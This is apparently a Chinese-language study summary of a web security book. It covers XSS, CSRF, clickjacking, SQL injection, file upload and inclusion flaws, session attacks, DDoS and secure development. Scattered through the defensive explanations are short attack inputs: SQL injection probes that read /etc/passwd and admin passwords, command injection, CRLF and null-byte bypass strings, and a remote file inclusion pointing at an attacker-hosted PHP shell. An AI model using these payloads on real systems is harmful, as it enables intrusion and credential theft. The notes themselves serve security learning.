標籤:

白帽子講Web安全

我的安全世界觀

最大的漏洞是人

安全問題的本質是信任問題

安全三要素:機密性,完整性,可用性+ 可審計性,不可抵賴性

安全評估:資產等級劃分,威脅分析,風險分析,確認解決方案

互聯網安全的核心問題是數據安全的問題

威脅分析=》受攻擊面分析=》威脅建模

微軟STRIDE Model

  1. Spoofing 冒充他人身份 認證

  2. Tampering 篡改數據or代碼 完整性

  3. Repudiation 否認做過的事情 不可抵賴性

  4. Information Disclosure 信息泄露 機密性

  5. Denial of Service 拒絕服務 可用性

  6. Elevation of Privilege 未經授權獲得許可 授權

Risk= Probability * Damage Potential

優秀的安全解決方案特點:

  1. 能夠有效的解決問題

  2. 用戶體驗好

  3. 高性能

  4. 低耦合

  5. 易擴展與升級

Secure by Default 原則

  1. 黑名單與白名單原則

  2. 最小許可權原則

  3. 縱深防禦原則

  4. 數據與代碼分離原則

  5. 不可預測性原則

客戶端應用安全

瀏覽器安全

同源策略(same-origin policy)

影響因素:host,protocol,port,IP

<script><img><iframe><link>可以跨域載入不受同源策略限制,但是瀏覽器會限制其JS許可權,使其不能讀寫返回的內容。對於XMLHttpRequest,它可以訪問內容卻無法跨域。

flash跨域訪問:taobao.com/crossdomain.

掛馬-在網頁中插入惡意腳本,執行任意代碼的攻擊方式

Sandbox-資源隔離類模塊,讓不可信任的代碼運行在一定的環境中,限制其訪問隔離區之外的資源

Firefox - content security policy, 由伺服器端返回一個http頭,xss無法控制http頭

X-Content-Security-Policy: self *.mydomain.com

跨站腳本攻擊(XSS)

XSS - cross site script

反射型XSS,只是簡單的把用戶輸入的數據反射給瀏覽器

存儲型XSS,會把用戶輸入的數據存儲在伺服器端

DOM型XSS,通過修改頁面DOM節點形成的XSS

DOM XSS是從JavaScript中輸出數據到HTML頁面里,而前面兩個XSS都是從伺服器直接返回到頁面

HttpOnly - 防止Cookie截止

XSS構造技巧

1.利用字元編碼,常出現在GBK/改2312,轉Unicode時吃掉了轉義符號

2.繞過長度限制 用Event(eg onclick)來縮短位元組數

XSS Defense

1.Http Only

2.輸入檢查(客戶端檢查burpsuite抓包繞過,所以必須在伺服器端檢查)

一般是特殊字元過濾與編碼

目前的做法是客戶端和伺服器端實現相同的輸入檢查,客戶端主要防禦用戶誤操作,以減輕伺服器端的壓力。

3.輸出檢查 (變數輸出一定要在引號內)

一般是編碼和轉義

HtmlEncode, JavascriptEncode,urlEncode

var x= " +escapeJavaScript(evil code)+ "

escape()和unescape()是一對編碼解碼函數,一般用於URL中非ASCII字元的編碼和解碼!n如:escape("&")返回%26,unescape("%26")返回&,都用十六進位編碼!n

跨站請求偽造(CSRF)

誘使目標用戶訪問攻擊者構造的頁面,利用用戶身份向伺服器發送請求。

本質是所有參數都是可以被攻擊者猜測到

IE,Safari出於安全考慮,禁止<img><iframe><script><link>等標籤中發送第三方cookie。所以需要驗證Cookie的跨域請求都會失敗。

Post/Get,大多數人認為CSRF只能由get請求發起,所以將重要操作用POST,就能防止CSRF攻擊。這個錯誤觀點原因在於CSRF攻擊發起時,使用的<img><iframe><script>等帶src屬性的標籤只能夠發起一次get請求,而不能發起post請求。

CSRF防禦

1.驗證碼

2.reference check ,缺陷在於伺服器不是什麼時候都能取到referer

3.Anti CSRF Token,需要足夠隨機,用戶與伺服器共同持有

點擊劫持 (ClickJacking)

點擊劫持是一種視覺上的欺騙,攻擊者使用一個透明的,不可見的iframe,覆蓋在網頁上,然後誘使用戶在網頁上操作,可以使用戶恰好點擊在iframe頁面上的功能性按鈕。

Flash點擊劫持

圖片覆蓋攻擊

拖拽劫持和數據竊取

觸屏劫持

ClickJacking Defense

iframe禁止跨域 - frame busting

X-Frame-Options(http頭),當值為deny,瀏覽器會拒絕載入任何frame頁面

HTML5安全

HTML5定義了很多新標籤,新事件,可能會帶來新的XSS攻擊

HTML5為iframe定義了一個新的屬性,sandbox,提供參數進行精準控制。

<canvas>可以對圖片中的像素進行操作進而識別驗證碼

Cross-Origin Resource Sharing

origin:a.com

access-control-allow-origin:a.com

postMessage跨窗口消息傳遞

web storage(session storage,local storage)

伺服器端應用安全

注入攻擊

注入攻擊的本質是把用戶輸入的數據當做代碼來執行

key conditions:

1.用戶可以控制輸入

2.程序執行的代碼,拼接了用戶輸入的數據

盲注(Blind Injection)

所謂盲注,就是在伺服器沒有錯誤回顯時完成的注入攻擊,伺服器沒有錯誤回顯對攻擊者而言,缺少了非常重要的調試信息,所以攻擊者必須找到一個方法來驗證注入的SQL是否能得到執行。

id=1 and 1=2, 頁面將為空或出錯

id=1 and 1=1 頁面正常返回

Timing Attack (利用時間長短的變化判斷注入語句是否執行)

利用Benchmark()函數,BENCHMARK(1000000,ENCODE(hello, goodbye))

id=5 and substring(@@version,1,1)=4

id=1 union all select 1,2,3 from admin -- 確認表名是否存在

id=1 union all select 1,2,passwd from admin --確認列名passwd是否存在

LOAD_FILE讀取系統文件,INTO DUMPFILE寫入本地文件(要求當前資料庫用戶有讀寫系統相應文件或目錄的許可權)

寫入文件的技巧,經常被用於導出一個Webshell

union select 1,1,LOAD_FILE(/etc/passwd),1,1;

攻擊存儲過程

SQL Column Truncation

Mysql 對於用戶插入的超長值只會提示warning而非error,會出現截斷(e.g. account=admin(55個空格)x,可以充值admin賬戶密碼)

SQL注入防禦

1.防禦SQL注入的最佳方式,就是使用預編譯語句,綁定變數

2.使用存儲過程

3.檢查數據類型

4.使用安全函數

5.最小許可權原則(Web應用的資料庫賬戶不應有高許可權)

XML注入

代碼注入 /index.php?arg=1;phpinfo();ls

CRLF注入 %0d%0a%0d%0a

文件上傳漏洞

文件上傳漏洞是指用戶上傳了一個可執行的腳本文件,並通過此腳本文件獲得了執行伺服器端命令的能力。

1.上傳文件是Web腳本語言,伺服器的Web容器解釋並執行了用戶上傳的腳本。

2.上傳文件是Flash策略文件crossdomain.xml,黑客用以控制Flash在該域下的行為。

3.上傳文件是病毒,木馬文件,黑客誘騙管理員和用戶下載執行

4.釣魚圖片,在某些版本的瀏覽器中會被作為腳本執行

condition:

1.上傳的文件能夠被執行。所以文件上傳後所在的目錄要是web容器所覆蓋到的路徑

2.用戶能夠從web上訪問這個文件

3.用戶上傳的文件沒有被安全檢查,格式化,圖片壓縮等功能改變內容

漏洞

1.繞過檢查文件後綴

修改post包添加截斷 xxx.php0x00([0]).JPG

2.判斷文件頭來驗證文件的類型

瀏覽器的MIME sniff功能也是通過讀取文件前256個位元組來判斷文件的類型,決定由哪個應用程序打開文件的。

3.Apache文件解析漏洞

Apache文件解析是從後往前解析的,遇到一個認識的文件類型為止。(e.g. php.rar.rar)

4.IIS文件解析漏洞 ;截斷 ABC.ASP;XX.JPG

5.Nginx xxx.com/path/test.jpg/n

6.利用上傳文件釣魚 伺服器302跳轉

漏洞防禦

1.文件上傳目錄設置為不可執行,上傳文件做靜態文件處理

2.判斷文件類型,such as 增強型MIME sniff

3.使用隨機數改寫文件名和文件路徑

4.單獨設置文件伺服器的域名

認證與會話管理

認證的目的是能認出用戶是誰,授權的目的是為了決定用戶能夠做什麼

認證實際上就是一個驗證憑證的過程,比如賬號密碼

單因素認證與多因素認證

密碼必須以不可逆的加密演算法,或者是單向散列函數演算法,加密存儲在資料庫中

登陸過程就是驗證用戶提交的密碼的哈希值,與保存在資料庫中的密碼哈希值是否一致。

為避免黑客獲取哈希值後通過彩虹表查詢明文密碼,在計算密碼明文的哈希時,會加Salt

MD5(Username+Password+salt)

當用戶登陸後需要替換一個對用戶透明的憑證,不能每次請求頁面都要輸入賬號密碼,這個憑證就是sessionID,sessionID一旦在生命周期內被竊取,就等同於賬戶失竊。

session fixation攻擊

1.sessionID保存在URL中,X誘使Y去打開鏈接完成認證

2.在Y登陸完成後,sessionID不變(防禦就是改寫sessionID)

session劫持,如果session在cookie中存放,也叫cookie劫持

session保持攻擊,獲取session後,黑客通過不斷的請求,使session活下去

防禦

1.一定時間後,強制銷毀session

2.當用戶IP,Useragent發生變化時,強制銷毀當前session,並要求重新登錄

訪問控制

許可權是一種能力,對於許可權的合理分配,一直是很重要的命題

Linux文件系統中,將許可權分出了讀,寫,執行。用戶可能只有讀的許可權

根據訪問客體的不同,常見的訪問控制分為

1.基於URL的訪問控制

2.基於方法(method)的訪問控制

3.基於數據的訪問控制

垂直許可權管理

建立用戶與許可權的對應關係,就是『基於角色的訪問控制』(Role-based Access Control)

一個角色就是許可權的集合

基於URL的訪問控制,不同的URL對於能訪問其的角色有不同的要求

基於method的訪問控制,配置文件比較複雜,且更新麻煩

越權訪問:低許可權的角色訪問高許可權角色的許可權

水平許可權管理

水平許可權問題出在同一個角色上。系統只驗證了角色,卻沒有對角色做細分,缺乏一個用戶到數據的映射關係。所以水平許可權管理也稱為『基於數據的訪問控制』

DDOS 分散式拒絕服務

利用合理的請求造成資源過載,導致服務不可用

常見的DDOS,SYN flood,UDP flood,ICMP flood

網路層DDOS

SYN flood利用了TCP協議設計中的缺陷,首先偽造大量的源IP,分別向伺服器發送大量的SYN包,此時伺服器返回SYN/ACK包,但是由於IP是偽造的,所以無應答,而伺服器將會重試3-5次並等待SYN time導致CPU與內存資源大量消耗而無暇顧及正常的訪問請求

解決方法:對每一個IP分配一個cookie,並統計每一個IP地址的訪問頻率

應用層DDOS

三次握手已經完成,IP地址也是真實的

CC攻擊

對一些消耗較大的應用頁面不斷發起正常的請求,如web中查詢資料庫,讀寫硬碟操作

解決方法:

1.使用頻率高的數據放在memcache(繞過的方法自然是穿透memcache),將資料庫的壓力盡量轉移到內存

2.驗證碼,驗證碼消耗掉後要更新sessionID,否則使用原有的sessionID可以重複提交同一個驗證碼

防禦應用層DDOS

驗證碼的核心是識別人與機器

靠譜的方法是讓客戶端解析一段JavaScript,並運行出正確的結果

資源耗盡攻擊

slowloris攻擊,構造畸形的http請求,以極低的速度發往伺服器端,是web server並發連接數達到上限。此類攻擊的本質,實際上是對有限的資源的無限制的濫用,通過調整參數可以緩解這種攻擊。

server limit DDOS,通過XSS寫入超長cookie,導致HTTP包頭超過限定大小,導致無法訪問cookie所在域的任何頁面

PHP安全

文件包含漏洞,代碼注入的一種

include() require() include_once() require_once(),使用這四個函數包含一個新文件時,該文件將作為php代碼執行,PHP內核並不會在意被包含的文件是什麼類型。

<?phpninclude($_GET[test]);n?>n

test.txt

for test!!!

<?phpnphpinfo();n?>n

condition:

1.include()等函數通過動態變數的方式引入文件

2.用戶能控制改動態變數

本地文件包含

filename=../../etc/passwd0 (通過web輸入時,../ => %2e%2e%2f 0 => %00)

遠程文件包含

/?param=attacker/phpshell.txt? (?被解釋為query string,也是一種截斷,與%00相同)

安全開發流程(SDL)

培訓

階段一:培訓:核心安全培訓

要求

階段二:確定安全要求,確認項目計劃和里程碑

階段三:質量門和bug欄用於確定安全和隱私質量的最低可接受級別

階段四:安全和隱私風險評估

設計

階段五:設計要求

階段六:分析攻擊面

階段七:威脅建模

實施

階段八:使用指定的工具

階段九:棄用不安全的函數

階段十:靜態分析

驗證

階段十一:動態分析

階段十二:模糊測試

階段十三:威脅模型和攻擊面評析

發布

階段十四:事件響應計劃

階段十五:最終安全評析

階段十六:發布/存檔

響應

階段十七:執行事件響應計劃

互聯網企業安全發展方向

目標

1.讓工程師寫出的每一行代碼都是安全的

2.讓所有已知的,未知的攻擊,都能第一時間發現,並迅速報警和追蹤

3.讓安全成為公司的核心競爭力,深入到每一個產品特性中

4.能夠觀測到互聯網安全趨勢的變化,對未來一段時間內的風險作出預警


推薦閱讀:

五萬美金懸賞物聯網安全解決方案,你心動了嗎?

TAG:网络安全 |